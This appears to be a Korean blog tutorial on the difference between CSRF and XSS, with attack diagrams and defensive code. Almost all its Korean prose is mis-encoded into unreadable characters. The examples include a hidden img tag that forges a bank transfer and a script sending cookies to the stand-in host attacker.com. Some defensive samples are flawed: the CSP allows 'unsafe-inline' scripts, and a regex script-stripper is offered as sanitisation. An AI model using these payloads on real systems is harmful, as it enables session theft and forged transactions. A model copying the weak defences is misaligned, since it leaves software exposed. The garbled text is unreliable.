CSRF์ XSS์ ํต์ฌ ์ฐจ์ด์ ๊ณผ ๋ฐฉ์ด ์ ๋ต
์น ์ ํ๋ฆฌ์ผ์ด์ ๋ณด์์์ ๊ฐ์ฅ ์์ฃผ ์ธ๊ธ๋๋ ๋ ๊ฐ์ง ๊ณต๊ฒฉ ์ ํ์ธ CSRF์ XSS. ๋ ๋ค ์ฌ๊ฐํ ๋ณด์ ์ํ์ด์ง๋ง, ๊ณต๊ฒฉ ๋ฐฉ์๊ณผ ๋ฐฉ์ด ์ ๋ต์ด ์์ ํ ๋ค๋ฆ ๋๋ค. ์ด ๊ธ์์๋ ๋ ๊ณต๊ฒฉ์ ํต์ฌ ์ฐจ์ด์ ์ ๋ช ํํ ์ดํดํ๊ณ , ์ค๋ฌด์์ ๋ฐ๋ก ์ ์ฉํ ์ ์๋ ๋ฐฉ์ด ๊ธฐ๋ฒ๋ค์ ์ดํด๋ณด๊ฒ ์ต๋๋ค.
๋ง์ ๊ฐ๋ฐ์๋ค์ด CSRF์ XSS๋ฅผ ํผ๋ํ๊ฑฐ๋ ๋น์ทํ ๊ณต๊ฒฉ์ผ๋ก ์ฌ๊ธฐ๊ณค ํฉ๋๋ค. ํ์ง๋ง ์ด ๋ ๊ณต๊ฒฉ์ ๊ทผ๋ณธ์ ์ผ๋ก ๋ค๋ฅธ ์ทจ์ฝ์ ์ ๋ ธ๋ฆฌ๋ฉฐ, ๊ฐ๊ฐ ๋ค๋ฅธ ๋ฐฉ์ด์ฑ ์ด ํ์ํด์. ์ด ์ฐจ์ด์ ์ ์ ํํ ํ์ ํ๋ ๊ฒ์ด ํจ๊ณผ์ ์ธ ๋ณด์ ์ ๋ต์ ์ฒซ ๊ฑธ์์ ๋๋ค.
CSRF(Cross-Site Request Forgery) ์ดํดํ๊ธฐ
sequenceDiagram
participant User as ๐ง ์ฌ์ฉ์ (๋ธ๋ผ์ฐ์ )
participant AttackerSite as ๐ธ๏ธ ์
์ฑ ์ฌ์ดํธ
participant Bank as ๐ฆ ์ํ ์๋ฒ
Note over User,Bank: ์ฌ์ฉ์๋ ์ํ ์ฌ์ดํธ์ ๋ก๊ทธ์ธํ์ฌ ์ธ์
(์ฟ ํค)์ด ์ ํจํ ์ํ
User->>AttackerSite: (1) ์
์ฑ ์ฌ์ดํธ ๋ฐฉ๋ฌธ (์: ๋งํฌ ํด๋ฆญ)
AttackerSite-->>User: (2) ์จ๊ฒจ์ง ์์ฒญ ์ฝ๋ ์ ์ก
<img src="http://bank.com/transfer?to=attacker&amount=1000000">
Note over User: (3) ๋ธ๋ผ์ฐ์ ๊ฐ ์๋์ผ๋ก bank.com์ ์์ฒญ ์ ์ก (์ฟ ํค ํฌํจ)
User->>Bank: (4) GET/POST /transfer?to=attacker&amount=1000000 (์ฟ ํค/์ธ์
ํฌํจ)
alt ์๋ฒ๊ฐ ์์ฒญ ์ถ์ฒ๋ฅผ ๊ฒ์ฆํ์ง ์์
Bank-->>Bank: (5) ์๋ฒ๊ฐ ์์ฒญ์ ์ ๋นํ ์ฌ์ฉ์ ์์ฒญ์ผ๋ก ์ฒ๋ฆฌ
Bank-->>User: (6) ์ก๊ธ ์ฒ๋ฆฌ ์๋ฃ (์ฌ์ฉ์๋ ๋ชจ๋ฆ)
else ์๋ฒ๊ฐ CSRF ๋ฐฉ์ด ์ ์ฉ(์: CSRF ํ ํฐ ๊ฒ์ฌ)
Bank-->>User: (5) ์์ฒญ ๊ฑฐ๋ถ (CSRF ํ ํฐ ๋ถ์ผ์น)
end
CSRF๋ ์ฌ์ฉ์์ ๊ถํ์ ์ ์ฉํ๋ ๊ณต๊ฒฉ์ ๋๋ค. ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉ์ ๋ชจ๋ฅด๊ฒ ํน์ ์น์ฌ์ดํธ์ ์์ฒญ์ ๋ณด๋ด๋๋ก ์ ๋ํ๋ ๋ฐฉ์์ด์ฃ .
CSRF ๊ณต๊ฒฉ์ ์๋ ์๋ฆฌ
CSRF๋ ์๋ฒ๊ฐ ์ฌ์ฉ์๋ฅผ ์ ๋ขฐํ๋ค๋ ์ ์ ์ ์ฉํฉ๋๋ค. ์ฌ์ฉ์๊ฐ ์ํ ์น์ฌ์ดํธ์ ๋ก๊ทธ์ธํ ์ํ์์ ์ ์ฑ ์ฌ์ดํธ๋ฅผ ๋ฐฉ๋ฌธํ๋ฉด, ์ ์ฑ ์ฌ์ดํธ๊ฐ ์ํ ์๋ฒ๋ก ์ก๊ธ ์์ฒญ์ ๋ณด๋ผ ์ ์์ด์. ์๋ฒ๋ ์ด ์์ฒญ์ด ์ ๋นํ ์ฌ์ฉ์๋ก๋ถํฐ ์จ ๊ฒ์ผ๋ก ํ๋จํ์ฌ ์ฒ๋ฆฌํ๊ฒ ๋ฉ๋๋ค.
<!-- ์
์ฑ ์ฌ์ดํธ์ CSRF ๊ณต๊ฒฉ ์์ -->
<img src="http://bank.com/transfer?to=attacker&amount=1000000" style="display:none">
์ด ๊ฐ๋จํ ์ด๋ฏธ์ง ํ๊ทธ๋ง์ผ๋ก๋ ์ฌ์ฉ์ ๋ชจ๋ฅด๊ฒ ์ก๊ธ ์์ฒญ์ด ์คํ๋ ์ ์์ต๋๋ค. ์ฌ์ฉ์์ ์ธ์ ์ด ์ ํจํ ์ํ๋ผ๋ฉด ์๋ฒ๋ ์ด๋ฅผ ์ ์์ ์ธ ์์ฒญ์ผ๋ก ์ฒ๋ฆฌํ์ฃ .
CSRF์ ํน์ง๊ณผ ์ํฅ
- ๊ณต๊ฒฉ ์์น: ์๋ฒ์์ ๋ฐ์
- ์ ๋ขฐ ๊ด๊ณ: ์๋ฒ๊ฐ ์ฌ์ฉ์๋ฅผ ์ ๋ขฐ
- ์ฃผ์ ๋ชฉ์ : ๊ถํ ๋์ฉ์ ํตํ ์ ์์ ํ์ ์ํ
- ํผํด ๋ฒ์: ๊ณ์ ์ ๋ณด ๋ณ๊ฒฝ, ๊ธ์ต ๊ฑฐ๋, ์ค์ ์ค์ ์์ ๋ฑ
XSS(Cross-Site Scripting) ํํค์น๊ธฐ
XSS๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์นํ์ด์ง์ ์ฃผ์ ํ๋ ๊ณต๊ฒฉ์ ๋๋ค. ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ด ์ฟ ํค๋ ์ธ์ ์ ๋ณด๋ฅผ ํ์ทจํ๊ฑฐ๋ ์ ์์ ์ธ ํ๋์ ์ํํฉ๋๋ค.
XSS ๊ณต๊ฒฉ์ ์ธ ๊ฐ์ง ์ ํ
1. Stored XSS (์ ์ฅํ)
์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์๊ตฌ์ ์ผ๋ก ์ ์ฅ๋์ด, ํด๋น ํ์ด์ง๋ฅผ ๋ฐฉ๋ฌธํ๋ ๋ชจ๋ ์ฌ์ฉ์์๊ฒ ์ํฅ์ ์ค๋๋ค.
2. Reflected XSS (๋ฐ์ฌํ)
์ด๋ฉ์ผ์ด๋ ๋งํฌ๋ฅผ ํตํด ์ฌ์ฉ์๊ฐ ํด๋ฆญํ๋ฉด ์คํ๋๋ ๋ฐฉ์์ผ๋ก, ์ฃผ๋ก ์ผํ์ฑ ๊ณต๊ฒฉ์ ์ฌ์ฉ๋ฉ๋๋ค.
3. DOM-based XSS (DOM ๊ธฐ๋ฐ)
JavaScript๋ฅผ ์ด์ฉํด DOM์ ์กฐ์ํ์ฌ HTML์ ๋ณ๊ฒฝํ์ง ์๊ณ ๋ ๊ณต๊ฒฉ์ ์ํํฉ๋๋ค.
XSS ๊ณต๊ฒฉ ์์
sequenceDiagram
participant User as ๐ง ์ฌ์ฉ์ (๋ธ๋ผ์ฐ์ )
participant VulnSite as ๐ ์ทจ์ฝํ ์ฌ์ดํธ
participant Attacker as ๐ฏ ๊ณต๊ฒฉ์ ์๋ฒ
participant VictimService as ๐ท๏ธ ์๋น์ค(์ธ์
์๋ณ์)
Note over User,VulnSite: ์ฌ์ฉ์๊ฐ ์ทจ์ฝํ ํ์ด์ง๋ฅผ ๋ฐฉ๋ฌธ (XSS ์ทจ์ฝ์ ์กด์ฌ)
User->>VulnSite: (1) ํ์ด์ง ์์ฒญ
VulnSite-->>User: (2) ์๋ต (์
์ฑ ์คํฌ๋ฆฝํธ ํฌํจ)
Note over User: (3) ๋ธ๋ผ์ฐ์ ๊ฐ ํ์ด์ง ๋ด ์คํฌ๋ฆฝํธ ์คํ
User->>Attacker: (4) ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์ฟ ํค/์ธ์
์ ๋ณด๋ฅผ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ ์ก
e.g. document.location='https://attacker.com/?cookie='+document.cookie
Attacker-->>Attacker: (5) ๊ณต๊ฒฉ์ ์๋ฒ๊ฐ ์ธ์
์ฟ ํค ์์ง
Attacker->>VictimService: (6) ํ์ทจํ ์ธ์
์ผ๋ก ์๋น์ค์ ์ ๊ทผ ์๋
alt ์๋น์ค๊ฐ ์ธ์
์ ๊ทธ๋๋ก ์ ๋ขฐํ ๊ฒฝ์ฐ
VictimService-->>Attacker: (7) ์ธ์ฆ๋ ์ธ์
์ผ๋ก ์ก์ธ์ค ํ์ฉ (๊ณ์ ํ์ทจ/์กฐ์ ๊ฐ๋ฅ)
else ๋ฐฉ์ด ๊ธฐ๋ฒ์ด ์ ์ฉ๋ ๊ฒฝ์ฐ (์: HttpOnly, SameSite, CSP ๋ฑ)
VictimService-->>User: (7) ์์ฒญ ์ฐจ๋จ ๋๋ ์ธ์
๋ฌดํจํ
end
<script>
document.location='https://attacker.com/?cookie='+document.cookie
</script>
์ด ์คํฌ๋ฆฝํธ๋ ์ฌ์ฉ์์ ์ฟ ํค๋ฅผ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ์ ์กํ์ฌ ์ธ์ ์ ํ์ทจํ ์ ์์ด์.
XSS์ ํน์ง๊ณผ ์ํฅ
- ๊ณต๊ฒฉ ์์น: ํด๋ผ์ด์ธํธ(๋ธ๋ผ์ฐ์ )์์ ๋ฐ์
- ์ ๋ขฐ ๊ด๊ณ: ์ฌ์ฉ์๊ฐ ํน์ ์ฌ์ดํธ๋ฅผ ์ ๋ขฐ
- ์ฃผ์ ๋ชฉ์ : ์ฟ ํค, ์ธ์ ๊ฐ์ทจ ๋ฐ ์น์ฌ์ดํธ ๋ณ์กฐ
- ํผํด ๋ฒ์: ๊ฐ์ธ์ ๋ณด ์ ์ถ, ๊ณ์ ํ์ทจ, ํผ์ฑ ๊ณต๊ฒฉ ๋ฑ
CSRF์ XSS์ ํต์ฌ ์ฐจ์ด์
| ๊ตฌ๋ถ | CSRF | XSS |
|---|---|---|
| ๊ณต๊ฒฉ ๋ฐฉ๋ฒ | ๊ถํ์ ๋์ฉ๋นํ ํด๋ผ์ด์ธํธ๊ฐ ๊ฐ์ง ์์ฒญ์ ์๋ฒ์ ์ ์ก | ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํด๋ผ์ด์ธํธ์์ ์คํ |
| ์ ๋ขฐ ๊ด๊ณ | ํน์ ์ฌ์ดํธ๊ฐ ์ฌ์ฉ์๋ฅผ ์ ๋ขฐ | ์ฌ์ฉ์๊ฐ ํน์ ์ฌ์ดํธ๋ฅผ ์ ๋ขฐ |
| ๊ณต๊ฒฉ ๋์ | ์๋ฒ | ํด๋ผ์ด์ธํธ |
| ์ฃผ์ ๋ชฉ์ | ๊ถํ ๋์ฉ | ์ฟ ํค, ์ธ์ ๊ฐ์ทจ, ์น์ฌ์ดํธ ๋ณ์กฐ |
์ด ์ฐจ์ด์ ๋ค์ ์ดํดํ๋ฉด ๊ฐ ๊ณต๊ฒฉ์ ๋ง๋ ์ ์ ํ ๋ฐฉ์ด ์ ๋ต์ ์ธ์ธ ์ ์์ด์.
CSRF ๋ฐฉ์ด ์ ๋ต
1. CSRF ํ ํฐ ์ฌ์ฉ
๊ฐ์ฅ ํจ๊ณผ์ ์ธ CSRF ๋ฐฉ์ด ๋ฐฉ๋ฒ์ ํ ํฐ์ ํ์ฉํ๋ ๊ฒ์ ๋๋ค.
// ์๋ฒ์์ CSRF ํ ํฐ ์์ฑ ๋ฐ ๊ฒ์ฆ
const csrfToken = crypto.randomUUID();
// ์ธ์
์ ํ ํฐ ์ ์ฅ
req.session.csrfToken = csrfToken;
// ํด๋ผ์ด์ธํธ์์ ์์ฒญ ์ ํ ํฐ ํฌํจ
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': csrfToken
},
body: JSON.stringify(transferData)
});
2. Referrer ๊ฒ์ฆ
์์ฒญ ํค๋์ referrer ์์ฑ์ ํ์ธํ์ฌ ๋๋ฉ์ธ์ด ์ผ์นํ๋์ง ๊ฒ์ฆํฉ๋๋ค.
3. SameSite ์ฟ ํค ์์ฑ
// SameSite ์์ฑ์ผ๋ก ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ ์ฐจ๋จ
res.cookie('sessionId', sessionId, {
sameSite: 'strict', // ๋๋ 'lax'
httpOnly: true,
secure: true
});
4. CAPTCHA ๋์
์ค์ํ ์์ ์ ๋ํด์๋ CAPTCHA๋ฅผ ํตํ ์ถ๊ฐ ์ธ์ฆ์ ์๊ตฌํฉ๋๋ค.
XSS ๋ฐฉ์ด ์ ๋ต
1. ์ ๋ ฅ ๋ฐ์ดํฐ ๊ฒ์ฆ ๋ฐ ํํฐ๋ง
// ์ํํ ๋ฌธ์์ด ํํฐ๋ง
function sanitizeInput(input) {
return input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}
// ํ์ฉ๋ ํ๊ทธ๋ง ์ฌ์ฉ
const allowedTags = ['p', 'br', 'strong', 'em'];
2. ์ถ๋ ฅ ์ธ์ฝ๋ฉ
// HTML ์ํฐํฐ๋ก ์ธ์ฝ๋ฉ
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
3. Content Security Policy (CSP) ๊ตฌํ
<!-- CSP ํค๋๋ก ์คํฌ๋ฆฝํธ ์คํ ์ ํ -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline';">
4. HttpOnly ์ฟ ํค ์ค์
// document.cookie๋ก ์ ๊ทผ ๋ถ๊ฐ๋ฅํ ์ฟ ํค ์ค์
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true
});
์ค์ ๊ณต๊ฒฉ ์ฌ๋ก์ ๊ตํ
CSRF ๊ณต๊ฒฉ ์ฌ๋ก
2008๋ ๋ทํ๋ฆญ์ค์์ ๋ฐ์ํ CSRF ๊ณต๊ฒฉ์ ์ฌ์ฉ์ ๋ชจ๋ฅด๊ฒ ์ํ ํ์ ์ ์กฐ์ํ๊ณ ๊ฐ์ธ์ ๋ณด๋ฅผ ์์ ํ๋ ๋ฐ ์ ์ฉ๋์์ต๋๋ค. ์ด ์ฌ๊ฑด์ผ๋ก CSRF ํ ํฐ์ ์ค์์ฑ์ด ๋์ฑ ๋ถ๊ฐ๋์์ด์.
XSS ๊ณต๊ฒฉ ์ฌ๋ก
2005๋ ๋ง์ด์คํ์ด์ค์ โSamy ์โ ์ฌ๊ฑด์ XSS ์ทจ์ฝ์ ์ ์ด์ฉํด ๋จ ํ๋ฃจ ๋ง์ 100๋ง ๋ช ์ด์์ ์ฌ์ฉ์๋ฅผ ๊ฐ์ผ์์ผฐ์ต๋๋ค. ์ด๋ ์ ์ ํ ์ ๋ ฅ ๊ฒ์ฆ์ ์ค์์ฑ์ ๋ณด์ฌ์ฃผ๋ ๋ํ์ ์ธ ์ฌ๋ก์ ๋๋ค.
๋ ๊ณต๊ฒฉ์ด ๋ง๋ฌ์ ๋์ ์ํ์ฑ
CSRF์ XSS๊ฐ ๊ฒฐํฉ๋๋ฉด ๊ณต๊ฒฉ์ ํ๊ธ๋ ฅ์ด ๊ธ๊ฒฉํ ์ฆ๊ฐํฉ๋๋ค. XSS๋ฅผ ํตํด CSRF ํ ํฐ์ ํ์ทจํ๊ฑฐ๋ ์ฐํํ ์ ์๊ธฐ ๋๋ฌธ์ด์ฃ .
// XSS๋ฅผ ์ด์ฉํ CSRF ํ ํฐ ํ์ทจ ์์
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// ํ์ทจํ ํ ํฐ์ผ๋ก ์
์์ ์์ฒญ ์ํ
์ด๋ฐ ๋ณตํฉ ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ๋ ค๋ฉด ๋ ๊ณต๊ฒฉ ๋ชจ๋์ ๋ํ ์ข ํฉ์ ์ธ ๋ณด์ ์ ๋ต์ด ํ์ํด์.
๊ฐ๋ฐ์๊ฐ ์์์ผ ํ ๋ณด์ ์์น
๋ณด์์ ๋จ์ํ ํน์ ๊ธฐ๋ฒ์ ์ ์ฉํ๋ ๊ฒ์ด ์๋๋ผ, ์ ์ฒด์ ์ธ ๊ด์ ์์ ์ ๊ทผํด์ผ ํฉ๋๋ค. CSRF์ XSS๋ ์๋ก ๋ค๋ฅธ ์ ๋ขฐ ๊ด๊ณ๋ฅผ ์ ์ฉํ๋ ๊ณต๊ฒฉ์ด๋ฏ๋ก, ๊ฐ๊ฐ์ ๋ง๋ ๋ฐฉ์ด ์ ๋ต์ ์๋ฆฝํด์ผ ํด์.
์น ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ฐ๋ฐํ ๋๋ "์ฌ์ฉ์ ์ ๋ ฅ์ ๋ชจ๋ ์ ์์ ์ผ ์ ์๋ค"๋ ์์น๊ณผ "์๋ฒ๋ ๋ชจ๋ ์์ฒญ์ ์์ฌํด์ผ ํ๋ค"๋ ์์น์ ๋์์ ์ ์ฉํด์ผ ํฉ๋๋ค. ์ด ๋ ์์น์ด CSRF์ XSS ๋ฐฉ์ด์ ํต์ฌ์ด๊ฑฐ๋ ์.
๋ณด์ ์ฝ๋ ๋ฆฌ๋ทฐ๋ฅผ ํ ๋๋ ์ด ๋ ๊ณต๊ฒฉ ์ ํ์ ์ผ๋์ ๋๊ณ ์ ๊ฒํ๋ฉด ๋์ฑ ์์ ํ ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ตฌ์ถํ ์ ์์ต๋๋ค. ํนํ ์ฌ์ฉ์ ์ ๋ ฅ์ ์ฒ๋ฆฌํ๋ ๋ถ๋ถ๊ณผ ์ธ์ฆ์ด ํ์ํ ๊ธฐ๋ฅ์์๋ ๋์ฑ ์ธ์ฌํ ๊ฒํ ๊ฐ ํ์ํด์.
CSRF์ XSS๋ ์น ๋ณด์์ ๊ธฐ๋ณธ์ด์ ํต์ฌ์ ๋๋ค. ์ด ๋ ๊ณต๊ฒฉ์ ์ฐจ์ด์ ์ ๋ช ํํ ์ดํดํ๊ณ ์ ์ ํ ๋ฐฉ์ด ์ ๋ต์ ๊ตฌํํ๋ค๋ฉด, ์ฌ์ฉ์์ ์๋น์ค ๋ชจ๋๋ฅผ ๋ณดํธํ ์ ์๋ ๊ฒฌ๊ณ ํ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ง๋ค ์ ์์ ๊ฑฐ์์.